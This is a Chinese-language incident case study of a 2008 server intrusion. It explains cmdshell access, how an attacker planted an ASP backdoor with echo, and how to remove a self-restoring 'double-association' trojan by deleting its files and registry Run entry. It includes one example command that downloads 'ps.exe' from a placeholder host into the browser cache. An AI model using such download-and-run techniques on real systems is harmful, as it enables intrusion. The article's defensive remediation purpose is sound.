1.什么是cmdshell?是如何被黑客利用的?
2.如何清除双关联木马?
★必备知识
1.什么是shell?
shell的中文意思为“壳”,它管理着用户与操作系统之间的交互,可以把它理解为一个命令解释器。它接收用户命令,然后调用相关的应用程序来执行。
2.什么又是cmdshell?
cmdshell在这里可以称做系统后门,是黑客利用溢出或其他手段,获取目标计算机命令行的远程控制的权利。(cmd即:用户在运行中输入“cmd”出现的命令行:如图1)

cmdshell
3.cmdshell是如何被黑客获取的?
cmdshell大多是当用户计算机存在漏洞时,黑客利用攻击工具进行远程进攻,导致计算机崩溃,从而丢失系统的控制权限(即cmdshell)。
4.什么是双关联木马?
木马在运行后生成两套完全相同的程序(名称和大小不一定一样),文中的“wlloginproxy.exe”程序(图2)和“services.exe”程序会互相扫描(每0.1秒扫描一次),如果发现对方没有启动或者运行时错误,其中一个木马程序会将自身复制,从新制造一个新的木马运行,导致用户无法完全删除。

木马在运行后生成两套完全相同的程序
【略突出】案例
时间:2008年2月18日
负责工程师:孙佳兴(老孙)
地点:青岛园林建设科技有限责任公司
现场:公司3d园林规划数据服务器被入侵。黑客采用底层入侵技术,绕过了防火墙和杀毒软件,对服务器数据进行了远程植入木马,并窃取了大量高价值产品信息。
【略突出】分析案例
听完了青岛园林建设科技有限责任公司管理员的描述后,工程师老孙详细看了公司的服务器配置:
服务器配置:主服务器为window2003sp1操作系统(补丁已经更新至2月11日最新微软安全公告提示)
安装组件:iis6.0(web网页服务)
mssql2003(数据库)
isaserver2004(微软的企业级防火墙)
prowinde1.7.41(条件限制类杀毒软件)
然后,他基本确认了黑客的攻击手段,做出如下分析:
服务器采用企业版杀毒软件和入侵防火墙,限制了administrators和低级权限的运行文件的权利。黑客留下的痕迹证明:他采用的是溢出式攻击,并获取了高于administrators的权限。
小知识
什么是溢出式攻击?
溢出是黑客利用操作系统的漏洞,专门开发一种程序,加上相应的参数运行后,就可以得到你电脑具有管理员资格的控制权,等于你的电脑就是他的了。
【略突出】攻!
听完工程师老孙的分析后,公司网络管理员非常迷惑,到底黑客如何利用cmdshell下的远程控制进行传输,并进行后门植入的呢?
【加细框】下段可以学到:黑客实现远程传输的两种方法
老孙分析着残留的文件,基本推测出了黑客的攻击方式:
第一种方法:利用echo命令写asp后门。
小知识
echo命令小解
主要功能:简单点说就是开启或关闭批处理命令行在屏幕上的显示,属于内部命令。内部命令就是常驻于内存的命令,在任意路径下输入均可执行。
目的:一是避免不需要的命令显示来干扰屏幕;二是在屏幕上给用户显示提示信息。
此方法原理:由于目标主机上已经安装了iis服务,黑客在拥有cmdshell的情况下,利用echo命令制造一个允许传输的asp后门木马,来管理被入侵的计算机。
第二种方法:利用cmdshell结合网页进行远程传输。
由于黑客在入侵完成后删除了大部分日志,老孙推测还有另外一种方法也可以实现入侵:利用“开始→运行”,输入“cmd”打开命令提示符,输入“start”命令,将木马自动下载到网页缓存中。
例如:startitshttp://www.xxx.com/hack/ps.exe
在远程shell中执行上面这个命令后,“ps.exe”已经下载到目标主机的网页缓存目录中了。然后继续通过cmd命令获得“ps.exe”的具体位置。
小提示
对于以服务为启动方式的后门所提供的shell,其用户身份一般都是system。
由于黑客在入侵时候会启动一个ie进程,如果是system身份的shell,就不会在本地出现窗口,(这种情况符合黑客的入侵行为,避开了防火墙的权限限制)。
【略突出】防!
入侵分析结束了,接下来就是要解决黑客留下的后门木马。由于木马采用了双关联保护结构,为了清理后门并避免以后再出现类似入侵,老孙还特意做了一份详细的解决方案。
【加细框】下段可以学到:双关联木马为什么难以清除
黑客在入侵后种植的后门木马程序运行后会生成三个文件,分别是:
c:/windows/wlloginproxy.exe
c:/windows/explore32.exe
c:/windows/system/services.exe(图3)

伪装进程
这三个文件用的都是htm文件图标,千万不要以为它们是htm文件!如果你的系统设置为显示所有文件的扩展名,看看图4,你会发现它们都还有个“.exe”的尾巴,这说明它们是可执行文件!

扩展名里有猫腻
这三个文件又分别起什么作用呢?“wlloginproxy.exe”文件用来在启动时加载运行,它是守护进程!
小知识
守护进程:
对木马来说,如果客户端向服务端的某一特定端口提出连接请求,服务端上的相应程序就会自动运行,来应答客户端的请求,我们称这个程序为守护进程。
“explore32.exe”和“services.exe”是干什么的呢?呵呵,它们分别用来和hlp文件(帮助文件)、txt文件(文本文件)关联,如果你发现并删除了“wlloginproxy.exe”,并不会真正清除了它。一旦打开帮助文件或文本文件,“explore32.exe”和“services.exe”将被激活!它将再次生成守护进程“wlloginproxy.exe”。这就是服务器一旦被种植了双关联木马,就很难清除干净的原因!
【加细框】下段可以学到:双关联木马的清除方法
老孙的方案一:彻底清除双关联木马
1.删除文件
先删除c:/windows下的“wlloginproxy.exe”和“explore32.exe”文件,再删除c:/windows/system下的“services.exe”文件。如果服务端已经运行,那么就得用进程管理软件找到“wlloginproxy.exe”这个进程,然后点击“终止”,再到c:/windows下将它删除。
网络大补贴
推荐两款进程管理软件:
(1).大而全:windows进程管理器v4.01,提供了700余种进程信息,以颜色分类。下载地址:http://down1.tech.sina.com.cn/download/downcontent/2005-12-13/16432.shtml。
(2).小而精:evonsofttool汉化绿色版,界面清爽,操作简单。下载地址:http://down1.tech.sina.com.cn/download/down_contents/1223740800/41185.shtml。
2.注册表中删除
点击“开始→运行”,输入“regedit”打开注册表,到注册表中来删除木马的自启动文件:
[hkey_local_machine/software/microsoft/windows/currentversion/run]
"mainbroadbackmanager"="c://windows//wlloginproxy.exe"